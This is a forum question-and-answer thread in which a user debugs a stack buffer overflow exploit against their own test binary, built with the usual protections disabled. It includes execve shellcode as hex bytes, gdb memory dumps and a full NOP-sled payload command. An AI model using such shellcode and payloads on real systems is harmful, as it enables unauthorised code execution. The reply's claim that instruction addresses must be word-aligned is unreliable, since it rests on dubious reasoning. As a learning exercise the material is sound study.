Buffer Overflow not spawning shell?

(I know, Too many answers already, but need help)

As far as I know a buffer overflow can be protected by either ASLR, memory canaries, or non-executable stack. so for my testing purpose, I disabled ASLR with following sysctl -w kernel.randomize_va_space=0, disabled program canaries with following -fno-stack-protector and made the stack executable with following -z execstack.

Now to confirm these I did: ASLR

root@kali:/tmp# cat  /proc/sys/kernel/randomize_va_space
0

Executable stack: readelf -l vuln2

GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
               0x0000000000000000 0x0000000000000000  RWE    0x10

Other info that might help:

root@kali:/tmp# file vuln2
vuln2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8102b60ffa8c26f231e4184d2f49b2e7c26a18b9, not stripped

CPU architecture is little endian:

root@kali:/tmp# lscpu | grep 'Byte Order'
Byte Order:          Little Endian

program:

#include <stdio.h>

int main(int argc, char *argv[]){
    char buf[512];
    strcpy(buf, argv[1]);
    return 0;
}

Compilation:

gcc -o vuln2 vuln2.c -fno-stack-protector -z execstack

Shellcode: is 25 bytes

\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05

does the shellcode work though? Yes, yes it does, compiling this spawn a shell:

#include <sys/mman.h>
#include <stdint.h>

char code[] = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05";

int main(){
mprotect((void *)((uint64_t)code & ~4095), 4096, PROT_READ|PROT_EXEC);
  (*(void(*)()) code)();
  return 0;
}

How do I exploit it?

well I need 526 bytes to overwrite RIP:

(gdb) r $(python -c 'print "A"*526')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "A"*526')

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/x $rip
0x414141414141: Cannot access memory at address 0x414141414141

Stack start address: 0x7fffffffdd70

(gdb) x/100x $rsp
 0x7fffffffdd60: 0xffffe058      0x00007fff      0xf7fd3298      0x00000002
 0x7fffffffdd70: 0x41414141      0x41414141      0x41414141      0x41414141
 0x7fffffffdd80: 0x41414141      0x41414141      0x41414141      0x41414141
 0x7fffffffdd90: 0x41414141      0x41414141      0x41414141      0x41414141

RBP Address:

(gdb) x/x $rbp
 0x7fffffffdf70: 0x41414141

now in order to exploit the stack we minus 6 from 526 which will be replaced with return address and minus 25 which is the shellcode, so totall 526-6-25=495

Final Exploit:

(gdb) r $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /tmp/vuln2 $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')

 Program received signal SIGILL, Illegal instruction.
 0x00007fffffffdf73 in ?? ()

Is there any mistake that I am making?

1)I have same issue. It's happening when return address on the stack is

modifying by shellcode and the address replaced does not belong to valid

addresses.

After you get this error, type x/400xw $rsp , choose valid address and correct

padding, from stack.

You're welcome.

0x00007fffffffdf73 cannot be a valid address because you are in 64 bits mode

and this address isn't 8 bytes aligned.

no word starts from this address.

For example,

 0x7fffffffdf70: 0x41414141      0x41414141      0x41414141      0x41414141

If you try to access to 0x7fffffffdf73 , you retrieve a first word (from left) and 3-nth byte from right

(because little endian, MSB is on the right) .

So, you have to choose an address like 0x7fffffffdf70 or 0x7fffffffdf74 or

0x7fffffffdf78 etc... (last digit of address multiple of 4)